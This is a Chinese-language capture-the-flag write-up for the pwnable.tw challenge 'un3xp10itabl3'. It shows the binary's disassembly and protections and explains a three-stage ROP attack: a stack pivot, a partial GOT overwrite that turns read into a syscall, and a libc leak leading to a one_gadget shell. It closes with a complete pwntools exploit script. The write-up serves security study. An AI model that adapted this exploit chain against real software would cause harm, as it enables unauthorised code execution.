pwnable.tw之un3xp10itabl3

aslr syscall 利用

Posted by b0ldfrev on December 29, 2018

程序代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   0x400544 <main>:	push   rbp
   0x400545 <main+1>:	mov    rbp,rsp
=> 0x400548 <main+4>:	sub    rsp,0x10
   0x40054c <main+8>:	mov    edi,0x3
   0x400551 <main+13>:	mov    eax,0x0
   0x400556 <main+18>:	call   0x400450 <sleep@plt>
   0x40055b <main+23>:	lea    rax,[rbp-0x10]
   0x40055f <main+27>:	mov    edx,0x100
   0x400564 <main+32>:	mov    rsi,rax
   0x400567 <main+35>:	mov    edi,0x0
   0x40056c <main+40>:	mov    eax,0x0
   0x400571 <main+45>:	call   0x400430 <read@plt>
   0x400576 <main+50>:	leave  
   0x400577 <main+51>:	ret  

500pts,程序简单粗暴,只有一个read,但明显有溢出。

checksec

1
2
3
4
5
6
7
[*] '/home/b0ldfrev/un3xp10itabl3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

漏洞利用

第一段payload完成溢出,并调用read将第二段payload写入bss段中,同时利用gad2的pop rbp,ret到leave ret将栈迁移到bss段上。

第二段payload再次调用read,传入1byte的数据,控制返回值 rax=0x1 (write syscall)的同时,完成修改GOT表中read的LSB变为syscall。利用syscall调用write泄漏sleep的地址,计算出onegadget地址,利用gad2的pop rbp构造出程序正常执行流程的rbp 校正与rsp差值,ret到lea rax,[rbp-0x10],再次完成溢出。

第三段payload,溢出到one_gadget.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(os='linux', arch='amd64')

p=remote("chall.pwnable.tw",10403)

read_got=0x601000
read_plt=0x400430
sleep_got=0x601010
bss=0x601028
gad1=0x4005e6
gad2=0x4005d0

rop1=p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x0)+p64(bss)+p64(0x110)+p64(gad2)+"e"*0x10+p64(bss)+"e"*0x20+p64(0x400576)

sleep(3)

raw_input()

p.send("a"*24+rop1)

rop2= p64(0)+p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x0)+p64(read_got)+p64(0x1)+p64(gad2)+"e"*0x38
rop2+= p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x1)+p64(sleep_got)+p64(0x8)+p64(gad2)+"e"*0x10+p64(0x601148)+"e"*0x20+p64(0x40055b)

p.send(rop2)

sleep(1)

p.send("\x7e")

sleep=0xcb680
libc_base = u64(p.recvuntil('\x00',drop=True).ljust(0x8,"\x00"))-sleep
print "libc_base : " + hex(libc_base)

one_offset=0x4526a
one_gadget=libc_base+one_offset

p.send("a"*24+p64(one_gadget)+"\x00"*0xe0)

p.interactive()

运行结果:

pic

程序下载